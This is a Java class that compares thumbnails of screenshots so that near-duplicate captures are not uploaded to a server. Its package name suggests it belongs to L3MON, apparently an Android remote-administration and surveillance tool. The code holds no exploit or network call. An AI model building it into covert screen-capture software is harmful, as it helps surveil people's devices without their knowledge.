package com.etechd.l3mon;

import android.graphics.Bitmap;

/**
 * Detecta capturas casi idénticas para evitar subidas redundantes al servidor.
 * Compara correlación normalizada sobre miniaturas (~120 px).
 */
public final class ScreenshotDedup {
    private static final int REF_MAX_WIDTH = 64;

    /** Similitud mínima (0–1) para omitir el envío. Más bajo = más agresivo. */
    public static final float SKIP_SIMILARITY = 0.98f;

    private ScreenshotDedup() {
    }

    public static float compare(Bitmap current, Bitmap reference) {
        return TemplateMatcher.similarity(current, reference);
    }

    public static boolean shouldSkip(Bitmap current, Bitmap reference) {
        if (reference == null || current == null || current.isRecycled() || reference.isRecycled()) {
            return false;
        }
        return compare(current, reference) >= SKIP_SIMILARITY;
    }

    public static Bitmap captureReference(Bitmap bitmap) {
        if (bitmap == null || bitmap.isRecycled()) {
            return null;
        }
        if (bitmap.getWidth() <= REF_MAX_WIDTH) {
            return bitmap.copy(Bitmap.Config.ARGB_8888, false);
        }
        float ratio = (float) REF_MAX_WIDTH / (float) bitmap.getWidth();
        int h = Math.max(1, Math.round(bitmap.getHeight() * ratio));
        return Bitmap.createScaledBitmap(bitmap, REF_MAX_WIDTH, h, true);
    }

    public static void releaseReference(Bitmap reference) {
        if (reference != null && !reference.isRecycled()) {
            reference.recycle();
        }
    }
}
